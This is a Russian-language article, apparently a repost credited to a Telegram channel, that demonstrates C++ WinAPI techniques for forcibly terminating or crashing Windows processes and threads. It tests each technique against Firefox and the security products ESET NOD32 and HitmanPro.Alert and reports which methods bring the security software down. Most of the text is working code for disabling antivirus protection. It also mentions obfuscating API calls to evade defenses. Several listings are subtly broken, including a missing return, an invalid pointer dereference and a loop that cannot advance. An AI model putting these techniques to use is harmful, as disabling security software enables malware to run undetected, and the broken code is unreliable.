January 21, 2019

Изучаем способы принудительного завершения процессов в Windows

При написании софта, взаимодействующего с другими приложениями, порой возникает необходимость завершить выполнение сторонних процессов. Есть несколько методов, которые могут помочь в этом деле: одни хорошо документированы, другие пытаются завершить нужные процессы более жесткими способами, провоцируя операционную систему прихлопнуть их силой. Я покажу несколько способов завершения и разрушения процессов в Windows.

В качестве «подопытных кроликов» возьмем браузер Firefox, антивирусный комплекс ESET NOD32 Smart Security и программа защиты от 0day-угроз HitmanPro.Alert, которые будут работать в Windows 10 LTSB 1809. Все приложения последних версий, скачаны с официальных сайтов и трудятся на полную мощность — хоть некоторые и в пробных режимах. Разрядность как ОС, так и приложений будет x64.

Подготовка

Работать мы будем с процессами и потоками, поэтому сначала нужно написать необходимые вспомогательные функции. Кроме того, нам понадобится функция, повышающая наши привилегии в системе до отладочных (SE_DEBUG_NAME). Получать мы их будем стандартным образом, используя функции OpenProcessToken и LookupPrivilegeValue.

INFO

Во всех экспериментах я использовал свою собственную библиотеку для работы с WinAPI по хешам имен API-функций, так что, вероятно, это повлияло на взаимодействие с защитными решениями. Каким образом она была написана, подробно рассказывалось в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».

BOOL set_privileges(LPCTSTR szPrivName)
{
    TOKEN_PRIVILEGES token_priv = { 0 };
    HANDLE hToken = 0;

    token_priv.PrivilegeCount = 1;
    token_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
#ifdef DEBUG
        std::cout << "OpenProcessToken error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, szPrivName, &token_priv.Privileges[0].Luid))
    {
#ifdef DEBUG
        std::cout << "LookupPrivilegeValue error: " << GetLastError() << std::endl;
#endif
        CloseHandle(hToken);
        return FALSE;
    }

    if (!AdjustTokenPrivileges(hToken, FALSE, &token_priv, sizeof(token_priv), NULL, NULL))
    {
#ifdef DEBUG
        std::cout << "AdjustTokenPrivileges error: " << GetLastError() << std::endl;
#endif

        CloseHandle(hToken);
        return FALSE;
    }

Для получения отладочных привилегий вызовем эту функцию таким образом:

if (set_privileges(SE_DEBUG_NAME)) 
        printf("SE_DEBUG_NAME is granted! \n");

Для своего личного удобства работу с процессами я разделил на две функции: одна будет получать PID по имени процесса, другая — получать хендл процесса по его PID. Конечно, можно было бы сделать большую функцию, которая сразу бы давала хендл процесса по имени, но это не всегда удобно, потому что порой требуется просто получить только PID.

INFO

PID (process identifier) — это идентификатор процесса, который выступает контейнером для потоков. В свою очередь, у потоков тоже есть идентификатор, который называется TID (thread identifier). Зная PID и TID, можно получить их хендлы, чтобы потом работать с потоками и процессами.

Идентификатор процесса мы получим при помощи функций CreateToolhelp32Snapshot(создадим снимок активных процессов в системе), далее будем перебирать и сравнивать процессы с нужным именем, функциями Process32First и Process32Next.

DWORD get_pid_from_name(IN const char * pProcName)
{
    HANDLE snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot_proc == INVALID_HANDLE_VALUE)
    {
#ifdef DEBUG
        std::cout << "CreateToolhelp32Snapshot error: " << GetLastError() << std::endl;
#endif
        return 0;
    }

    PROCESSENTRY32 ProcessEntry;
    DWORD pid;
    ProcessEntry.dwSize = sizeof(ProcessEntry);

    if (Process32First(snapshot_proc, &ProcessEntry))
    {
        while (Process32Next(snapshot_proc, &ProcessEntry))
        {
            if (!stricmp(ProcessEntry.szExeFile, pProcName))
            {
                pid = ProcessEntry.th32ProcessID;

                CloseHandle(snapshot_proc);
                return pid;
            }
        }
    }

    CloseHandle(snapshot_proc);
    return 0;
}

INFO

Процессы можно перечислять и другими методами, например использовать для этого функцию Process Status Helper (PSAPI) K32EnumProcesses или недокументированную функцию ZwQuerySystemInformation. Чтобы прокачать свой скилл работы с Windows, ты можешь самостоятельно реализовать эти методы и посмотреть, как они работают.

Чтобы получить PID процесса firefox.exe, функцию надо вызвать таким образом:

DWORD firefox_pid = get_pid_from_name("firefox.exe");

Осталась маленькая функция получения хендла. Обрати внимание: она позволяет задать права доступа к нужному процессу.

HANDLE get_process_handle(IN DWORD pid, DWORD access)
{
    HANDLE hProcess = OpenProcess(access, FALSE, pid);

    if (!hProcess)
    {
#ifdef DEBUG
        std::cout << "OpenProcess error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    return hProcess;
}

Если функция отрабатывает успешно, она возвращает хендл процесса, если нет — FALSE. Вызывается она таким образом:

HANDLE hFirefox = get_process_handle(firefox_pid, PROCESS_ALL_ACCESS);

В примере выше мы получаем хендл с правами PROCESS_ALL_ACCESS.

Способы завершения процессов

Сначала поработаем с процессами, а потом с потоками. Я буду писать маленькие функции, которые демонстрируют применение различных методов для завершения процессов и потоков. Обрати внимание — использовать будем только необходимые права доступа для процессов, потому что не каждый процесс позволит открыть себя с правами PROCESS_ALL_ACCESS, особенно это касается защитных решений.

Думаю, первое, что приходит в голову, — это применить функцию NtTerminateProcess.

BOOL kill_proc1(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_TERMINATE);  // Обрати внимание на режим доступа — мы не просим ничего лишнего

    if (!NtTerminateProcess(hProc, 0))
    { 
#ifdef DEBUG
        std::cout << "NtTerminateProcess error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }
    return TRUE;
}

Разумеется, ESET NOD32 Smart Security и HitmanPro.Alert легко противостоят такому простому трюку и выводят сообщение ERROR_ACCESS_DENIED при попытке их завершения. Зато браузер Firefox с удовольствием закрывается.

Следующий способ закрыть процесс — создать поток в интересующем нас процессе при помощи функции CreateRemoteThread и запустить этим потоком функцию ExitProcess. Вот код функции:

BOOL kill_proc2(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION);

    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    if (!hKernel32)
        return FALSE;

    void *pExitProcess = GetProcAddress(hKernel32, "ExitProcess");
    if (!pExitProcess)
        return FALSE;

    HANDLE hThread = CreateRemoteThread(hProc, 
                        NULL, 
                        0, 
                        (LPTHREAD_START_ROUTINE)pExitProcess, 
                        NULL, 
                        0, 
                        NULL);
    if (!hThread)
    {
#ifdef DEBUG
        std::cout << "CreateRemoteThread error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    return TRUE;
}

Как видно из кода, вначале мы получаем PID процесса с правами PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION (лишние права не берем), далее получаем адрес функции ExitProcess из библиотеки kernel32.dll и, наконец, передаем его в функцию CreateRemoteThread. Firefox закрывается, а защитные решения показывают стойкость к этому приему.

Следующий способ будет манипулировать с заданиями (job) при помощи функций CreateJobObject → AssignProcessToJobObject → TerminateJobObject. Сначала код, потом я расскажу, что он делает.

BOOL kill_proc3(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_SET_QUOTA | PROCESS_TERMINATE);

    HANDLE job = CreateJobObjectA(NULL, NULL);
    if (!job)
    {
#ifdef DEBUG
        std::cout << "CreateJobObjectA error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    if (!AssignProcessToJobObject(job, hProc))
    {
#ifdef DEBUG
        std::cout << "AssignProcessToJobObject error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    if (!TerminateJobObject(job, 0))
    {
#ifdef DEBUG
        std::cout << "TerminateJobObject error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    return TRUE;
}

Итак, сначала мы создаем объект задания функцией CreateJobObjectA. Объект задания — это такой объект ядра, который позволяет работать с группой процессов. Ну а в данном случае группа процессов будет состоять из одного процесса.

Далее функцией AssignProcessToJobObject мы связываем наш процесс с созданным объектом задания.

Функцией TerminateJobObject мы можем завершить все процессы, которые связаны с объектом задания (в нашем случае один процесс). Результат выполнения этой подпрограммы таков: NOD32 успешно выдержал эту атаку, браузер Firefox закрылся, и также закрылся процесс HitmanPro.Alert.

Переходим к следующему способу завершения процессов: в этот раз мы притворимся отладчиком!

BOOL kill_proc4(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_SUSPEND_RESUME);
    HANDLE dbg_obj = NULL;
    NTSTATUS status = NtCreateDebugObject(&dbg_obj, 0x2, NULL, 0x1);

    status = NtDebugActiveProcess(hProc, dbg_obj);

    CloseHandle(hProc);

    return TRUE;
}

Здесь мы создаем объект отладки, используя функцию NtCreateDebugObject. Чтобы понимать, что происходит, остановимся на ней немного подробнее. Вот ее прототип:

NTSYSAPI 
NTSTATUS
NTAPI
NtCreateDebugObject(
OUT PHANDLE             DebugObjectHandle,
IN ACCESS_MASK          DesiredAccess,
IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
IN BOOLEAN              KillProcessOnExit );

Параметр DebugObjectHandle — это хендл объекта отладки, который мы передаем по ссылке. Далее идет маска доступов, которую мы выставляем в 0x2, что значит DEBUG_OBJECT_PROCESSASSIGN, третье поле атрибутов оставляем пустым, а четвертое ставим в 0x1 — это значит KillProcessOnExit.

Теперь присоединяем созданный объект отладки к процессу функцией NtDebugActiveProcess. Если после этого закрыть хендл, процесс должен быть завершен операционной системой. Материал подготовлен каналом https://t.me/CyberLifes. Хендл закрываем как всегда — CloseHandle. После этого подопытный Firefox закрывается без проблем, как и HitmanPro.Alert. Но NOD32 по-прежнему выдерживает наш натиск.

Теперь попробуем заставить закрыться приложение, заняв всю его память. Сначала код.

    BOOL kill_proc5(IN DWORD pid)
    {
        HANDLE hProc = get_process_handle(pid, PROCESS_VM_OPERATION);

        unsigned int count = 0;

        size_t sz = 0x400000000;    // 16 Гбайт
        while (sz >= 0x1000)
        {
            void *mem = VirtualAllocEx(hProc, 
                            NULL, 
                            sz, 
                            MEM_RESERVE, 
                            PAGE_READONLY);
            if (mem) count++;   //
            else sz /= 2;       // Будем занимать память до последнего
        }

        CloseHandle(hProc);

        return TRUE;
    }

Тут все просто: при помощи функции VirtualAllocEx мы пытаемся занять всю доступную память в приложении с флагом PAGE_READONLY, то есть доступной только для чтения. От этих действий Firefox зависает и падает ОС, а защитные программы продолжают работать и не позволяют разрушить себя таким образом.

Следующий способ похож на предыдущий. Изменим атрибуты доступа в памяти приложения на PAGE_NOACCESS при помощи функции VirtualQueryEx → VirtualProtectEx. Код:

BOOL kill_proc6(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | SYNCHRONIZE);

    void* address = NULL;
    while (address < 0x80000000000)
    {
        MEMORY_BASIC_INFORMATION mem_bi;

        DWORD mem = VirtualQueryEx(hProc, 
                        address, 
                        &mem_bi, 
                        sizeof(mem_bi));

        if (mem)
        {
            if (mem_bi.State == MEM_COMMIT)
            {
                DWORD protect_state;
                VirtualProtectEx(hProc, 
                        mem_bi.BaseAddress, 
                        mem_bi.RegionSize, 
                        PAGE_NOACCESS, 
                        &protect_state);
            }

            address = (void*)(mem_bi.BaseAddress + mem_bi.RegionSize);
        }
        else break;
    }

    CloseHandle(hProc);

    return TRUE;
}

Здесь мы сначала в цикле получаем нужную информацию функцией VirtualQueryEx, а потом меняем атрибут защиты региона памяти приложения на PAGE_NOACCESS функцией VirtualProtectEx. Несмотря на схожесть с предыдущим методом, этот подход обрушивает одно из защитных решений — HitmanPro.Alert и браузер. NOD32 остается непоколебим.

Следующий метод будет использовать функцию DuplicateHandle с параметром DUPLICATE_CLOSE_SOURCE, чтобы закрыть все хендлы процесса и вызвать в нем ошибки.

BOOL kill_proc7(IN DWORD pid)
{
    HANDLE hProc = get_process_handle(pid, PROCESS_DUP_HANDLE);

    int i = 0;
    while ( i < 0x10000 )
    {
        HANDLE hndl = (HANDLE)i;
        HANDLE dublicate_h = NULL;

        if (DuplicateHandle(hProc, hndl, GetCurrentProcess(), &dublicate_h, 0, FALSE, DUPLICATE_CLOSE_SOURCE))
        {
            i++;
            CloseHandle(dublicate_h);
        }
    }

    CloseHandle(hProc);

    return TRUE;
}

После того как мы пройдемся фун��цией DuplicateHandle с параметром DUPLICATE_CLOSE_SOURCE по 10 000 хендлов, Firefox упадет, а защитные программы не пострадают.

Итак, мы рассмотрели способы воздействия на сами процессы по их PID. Материал подготовлен каналом https://t.me/CyberLifes.Теперь перейдем непосредственно к потокам.

Способы завершения потоков

Для начала надо будет получить список потоков в нужном процессе. Это очень похоже на получение процессов, поэтому сильно заострять внимание на этом я не стану, хотя некоторые моменты необходимо прояснить. Листинг функции получения потоков я снабжу комментариями, обрати на них внимание.

BOOL get_threads(IN const char * pProcName)
{
    // Для получения списка потоков мы используем ту же функцию, что и для получения 
    // списка процессов, только передаем ей параметр TH32CS_SNAPTHREAD

    HANDLE pTHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    ULONG process_tid[256];
    int tid_count = 0;
    int number_of_threads = 0;
    THREADENTRY32 ThreadEntry;
    ThreadEntry.dwSize = sizeof(ThreadEntry);

    DWORD pid = get_pid_from_name(pProcName);

    // Используем похожие функции для потоков, как и в случае с процессами
    if (Thread32First(pTHandle, &ThreadEntry))
    {
        do{
            if (ThreadEntry.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                sizeof(ThreadEntry.th32OwnerProcessID)) {

                // Здесь определяем потоки для нужного нам процесса
                if (ThreadEntry.th32OwnerProcessID == pid)
                {
                    process_tid[*tid_count] = ThreadEntry.th32ThreadID;

#ifdef DEBUG
                    std::cout << "PID: " << pid << " " << "ThreadID: " << process_tid[*tid_count] << std::endl;
#endif

                    *tid_count = *tid_count + 1;
                    ++number_of_threads;
                }
            }

            ThreadEntry.dwSize = sizeof(ThreadEntry);
        } while (Thread32Next(pTHandle, &ThreadEntry));

#ifdef DEBUG
        std::cout << "Number Threads: " << number_of_threads << std::endl;
#endif

        // Процесс один, а потоков несколько. Поэтому используем цикл, чтобы обойти их все
        for (; number_of_threads > 0; --number_of_threads)
        {
            //kill_threads1(tids[number_of_threads]);   // В этом цикле мы будем помещать функции убийства потоков
            //kill_threads2(tids[number_of_threads]);
            //kill_threads3(tids[number_of_threads]);   

#ifdef DEBUG
            std::cout << "Thread kill: " << number_of_threads << std::endl;
#endif

        }
    }

    return TRUE;
}

При помощи этой функции мы будем взаимодействовать с потоками нужных нам процессов.

Итак, первый способ завершения потоков очень похож на тот, который мы использовали с процессами. Это открытие тредов при помощи функции OpenThread с параметром THREAD_SET_CONTEXT. Далее идет получение адреса ExitProcess и передача его в функцию QueueUserAPC, чтобы она попала в очередь потока.

Похожий способ был с процессами, только использовалась функция CreateRemoteThread. Функция QueueUserAPC позволяет выполнять код в адресном пространстве нужного процесса, в контексте его потока. Код реализации простой:

BOOL kill_threads1(IN DWORD tid)
{
    HANDLE hTread = OpenThread(THREAD_SET_CONTEXT,
        FALSE,
        tid);

    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    if (!hKernel32)
        return FALSE;

    void *pExitProcess = GetProcAddress(hKernel32, "ExitProcess");
    if (!pExitProcess)
        return FALSE;

    if (!QueueUserAPC((PAPCFUNC)pExitProcess, hTread, 0))
    {
#ifdef DEBUG
        std::cout << "QueueUserAPC error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }


    return TRUE;
}

Я уже думал, что NOD32 SS нам не удастся сломить ничем, но здесь он дрогнул. У нас все-таки получилось разрушить его потоки, вызвать зависание и дальнейшее аварийное завершение. Что интересно, HitmanPro.Alert выдержал эту атаку, ну а Firefox, конечно, рухнул.

Переходим к следующему способу. Он проще: будем просто открывать треды процессов и пытаться завершить их при помощи TerminateThread:

BOOL kill_threads2(IN DWORD tid)
{
    HANDLE hThread = OpenThread(THREAD_TERMINATE,
        FALSE,
        tid);

    if (!TerminateThread(hThread, 0))
    {
#ifdef DEBUG
        std::cout << "TerminateThread error: " << GetLastError() << std::endl;
#endif
        return FALSE;
    }

    return TRUE;
}

Способ простой и не очень эффективный, особенно против серьезных программ: таким образом удалось убить только Firefox, остальные приложения выдержали атаку.

И последний способ, который мы рассмотрим, — это попытка сменить контекст потока (функция SetThreadContext) с прыжком в нулевые данные. Это должно вызвать ошибку и аварийное завершение приложения.

BOOL kill_threads3(IN DWORD tid)
{
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT,
                        FALSE, 
                        tid);

    CONTEXT ctx;
    memset(&ctx, 0, sizeof(ctx));       // Выделяем память ctx и заполняем ее нулями
    ctx.ContextFlags = CONTEXT_CONTROL;

    SetThreadContext(hThread, &ctx);    // Меняем контекст
    CloseHandle(hThread);

    return TRUE;
}

Надо сказать, что все защитные решения выдержали этот трюк, погиб только несчастный браузер.

Заключение

В этой статье мы рассмотрели несколько способов завершения потоков и процессов, немного разобрались, как Windows работает с ними, и выяснили, что даже защитные решения порой не могут себя защитить. Но, как известно, чтобы создать хорошую защиту, нужно исключить все слабые места, а чтобы сделать успешную атаку — нужно найти всего одно слабое место. С чем мы и справились!

by https://t.me/CyberLifes